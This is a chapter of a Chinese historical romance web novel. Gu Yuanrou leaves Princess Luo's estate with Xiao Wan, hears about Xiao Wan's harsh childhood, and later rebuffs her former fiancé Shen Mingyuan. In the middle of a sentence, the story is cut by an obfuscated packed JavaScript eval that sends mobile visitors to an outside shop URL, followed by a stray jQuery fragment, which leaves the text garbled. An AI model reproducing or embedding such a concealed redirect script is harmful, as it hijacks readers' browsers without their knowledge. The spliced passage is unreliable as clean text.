陪洛王妃用过午饭,顾元柔便起身告辞。
洛王妃本还想留她一会儿,偏偏又有事来,只好叹道:“也罢,今儿天气好,你们姑娘家素日待在自个院子里,好不容易出来了,该出去多瞧瞧,可惜明轩已经回去,不然让他送你一程。”
顾元柔闻言一笑,“不妨事,二叔在外面等着我呢。”
“那就好,让婉儿和秋容送你出去吧。”洛王妃说罢,似乎想到什么,又对前者道,“你要是想跟着出去看热闹也行,只是多带几个侍卫丫鬟,早些回来。”
萧婉一听便喜上眉梢,“多谢王妃。”
就这样,秋容送两位小姐到别庄门口,又不放心地叮嘱了一番跟着的丫鬟婆子,让好生照看,这才转身回去复命。
她一走,萧婉肉眼可见地松了口气。
顾元柔见状调侃:“我看秋容脾气和面相都挺好的,你还怕她呀?”
“不是怕,是不自在。”萧婉小声解释道。
她自然知道秋容姐姐是个很好的人,可每次见到她,就让人想起王妃娘娘。
当年萧婉生母只是个歌姬,弹得一手好琵琶,又靠着美貌进了洛王府,不过得宠一时,生下萧婉这个女儿不久就因事失了洛王的欢心,缠绵病榻几年后撒手人寰。
那一年,萧婉才五岁,骤然失去了唯一的依靠,底下的丫鬟走的走,散的散,唯有从小一起陪她长大的丫鬟容儿和奶娘还愿意跟着她,护着她,可俗话说阎王好惹小鬼难缠,在偌大的洛王府,一个小丫鬟,一个奶娘,是不足以成为她的依靠的,而没有依靠,纵使身为王女的她也活的艰难。
不是今儿少了饭菜,就是明儿短了衣裳,更不用说月例银子,好吃的点心,好看的胭脂和珠花,她什么都没有,每次看到三姐姐萧莺向她炫耀的那些东西时,萧婉都很羡慕,也会嫉妒和难过。
到了冬天,临安那年下雪,更是天寒地冻,白日还好,晚上床榻冰凉,根本不能入睡,她和丫鬟容儿,奶娘被迫挤在一个屋,连门都不敢出,也就是那个时候,秋容姐姐来了。
萧婉至今都记得秋容姐姐看到自己三人窝在一个床上的眼神,里屋的窗户坏掉了,关不上,也没人来修,奶娘只能用东西抵住,时不时有冷风循着缝隙进来,吹得她瑟瑟发抖,可是她那时觉得,外面的寒风再冷,可能也比不上秋容姐姐当时的眼神。
当然,那不是针对自己来的。
她不知道发生了什么,只是听三姐姐后来提起,说她好命,秋容是王妃身边的女官,贴身伺候的心腹丫鬟,手里的权利大着呢,在下人面前跟王妃也没个两样,有她出面,素日那些克扣她的奴才们都被好好的整治了一通,罚月钱的罚月钱,打板子的打板子,有两个管炭火的婆子甚至被赶出府去了。
“依我说,你早该闹到王妃那儿去,看底下那些人还敢阳奉阴违不?不过如今好了,有秋容给你撑腰,你以后就有好日子过了。”三姐姐萧莺说归说,却不怎么笑,也笑的不高兴。
萧婉一眼便看出她笑容下隐藏的那副真面目,因为自己也曾那样看着她,名为嫉妒。
“然后呢?”马车上,顾元柔握住萧婉的手,脸色既有怜惜,又忍不住替她难过。
与萧婉相比,顾元柔觉得自己自幼过的也算还好,虽说七岁离家,可有祖父在身边,底下的丫鬟婆子也无不尽心,偶有伤感想家之时,祖父也会开导于她,给她买东西讲故事,带她爬山登高,下水垂钓,想尽一切办法让她明白,人生如旷野,不必拘于一时感伤,她早晚会回到父母身边,又会再度离开,去过属于自己的日子。
想到祖父,顾元柔心头怅然。
她原想与沈明渊成亲之后,让他带自己回锦城,祭拜扫墓的。
说起往事,萧婉的心情虽低落,很快又振作起来,反而安慰道:“我没事,有王妃娘娘在,之后就没那不长眼的人敢欺负我了,只是王妃到底不是我娘,我很敬重她,于我而言,她就像佛堂上的观音菩萨那般庄重,而秋容姐姐,就像三姐姐说的那样,在我们眼中,她和王妃娘娘没什么区别,我也敬她,不敢在她面前放肆,她走了,我才松了口气。”
“原来如此。”
顾元柔大抵也明白,敬一个人,便会在意,紧张,不想在她面前出一丁点的糗,不自觉就会端庄起来。
萧婉与她不同,尝过人情冷暖,所以格外在意。
说着,马车停了下来,顾元柔听到二叔的声音,“元柔,到了,下来吧。”
顾元柔先下马车,就见二叔顾谦牵着马,靠在一旁的衫树上,手里还拿着几颗叫不上名的野果,一口一个嘎嘣脆。
许是她看的久了,顾二爷还扔了一颗果子给她。
顾元柔接过一看,半青半红,却不敢下口,“二叔这是哪来的?”
“佃户给的,还给我了两壶酒,藏马车后箱里了,回头你知会一声,别露馅。”
不远处就是谢郎山以西的一处平原,现下有人在和诗,有人在抚琴,有人起哄,热闹的很,是以顾二爷压低了自己的声音,唯恐被旁人听见。
方才去别庄时,因二爷是外男,不便入内,只是进去给洛王妃行了礼,便出来去了别处休息等候,大概就是在那个时候,得的果子和酒。
顾元柔有些无奈,“二婶不许您喝酒,你还藏酒喝,要是让她知道,又得闹起来了,再说府里又不是没有酒,你何必藏那两壶酒呢!”
“你不懂,府里的酒不够味儿,而且你也别小看洛王府这庄子上的酒,那酿酒的人姓户,是临安城有名的酿酒师傅,洛王好酒,找人来专门在这儿开了个小酒庄,就在庄子后面,被我眼尖看到了,这才送了我两壶。”顾二爷摆手道。
如此一来,顾元柔才放心,就怕酒的来历不明,要是喝出什么事来,就麻烦了。
叔侄俩说话间,萧婉整理好衣裳,也下了马车。
她虽是洛王之女,可没有官身封爵,故而顾谦不必拜她,也只是叫她一声“萧四姑娘”。
萧婉跟着顾元柔,叫了声“顾二叔”。
顾谦倒很受用,正要说什么,身后传来动静,一回头,是几辆马车缓缓
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14233552|146408||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
走来,停在几里之外,车厢侧面对着顾元柔这边,刻着一个大大的‘沈’字,而车顶也悬挂令牌,蓝底红字,为‘宁远’二字。
正是宁远伯府沈家。
果不其然,打头的马车一掀,沈夫人下了马车,到处看时,正好与顾元柔打个照面。
隔得不远,但顾元柔显然没有上前打招呼的心思,只是隔空笑着点了点头,也算招呼了。
沈夫人脸色不虞。
这时,沈明渊从后面走上门,身后跟着个榴红色长裙的美人,长相妩媚,面似桃花,明眸而善睐,顾盼以生情。
顾元柔忍不住多看了两眼,倒是也猜到了对方的身份,沈明渊眼下的妾室不多,听说近来跟长宁郡主府走的比较近,眼下估摸也不会多生事端,能让他这么堂而皇之带出来的,除了秦如霜,就是从平南王世子那儿‘抢来’的清倌人红遥了。
沈明渊看到了她,倒是不知跟沈夫人说了什么,随即朝顾元柔走来。
顾二爷见状忙系了马绳,两步上前,拦在侄女和宁远伯世子之间,不管怎么说,眼下两人最好不要待的太近。
萧婉也走上前,好奇的看着眼前的沈公子。
她认识沈明渊,也奇怪这人,好好的亲事不要,尽会瞎折腾养外室,倒不知脑子里在想些什么。
沈明渊没想做什么,只是忍不住过来打了个招呼,见自己被这么严防死守,走到半路停了下来,尴尬地不敢靠近。
“元柔。”
“沈二公子。”顾元柔回的疏离,也是在提醒对方,依两人现下的关系,已经不适合叫的这么亲密了。
可沈明渊不知是装傻还是真傻,硬是不改:“元柔,你近来可好?”
顾元柔只是淡淡的回了两个字:“尚可。”
“之前的事,是我对不住你,至于我娘,她也是为了我着想,要是有冒犯的地方,你别放在心上。”
顾元柔听得有些懵,不明白沈明渊现在说这些话有什么意义,只是想道个恼的话,也实在没有必要。
其实沈明渊也不知道自己说这些干嘛,沈顾两家的亲事退了,他虽有些懊恼,可这些日子陷在表妹与红遥的温柔乡中,也与长宁郡主见过两面,其间倒不怎么想起顾元柔,只是如今一见,又觉得红颜虽好,还是不如眼前人。
顾元柔被他看的烦躁,直言道:“沈二公子若是没事,我先去那边看投壶了,告辞。”
说完拉着萧婉,匆匆离去,一众丫鬟婆子连忙跟上。
顾谦倒是没走。
他不喜欢凑那些诗呀会呀的热闹,今日主要也是送府里女眷过来,再安全送回去,眼下见沈明渊痴痴地看着自家侄女远去的背影,不免觉得眼睛疼。
这又是闹哪出呀!
他翻了个白眼,上马勒了马绳在沈明渊面前晃悠两下,待人的视线转移到他身上,才道:“沈二公子,该回神了,你我两家的亲事已退,以后你见了元柔,还是止步为好,譬如方才的话,最好不要再说,以免传出什么不好的误会来。”说完带着马车,扬长而去。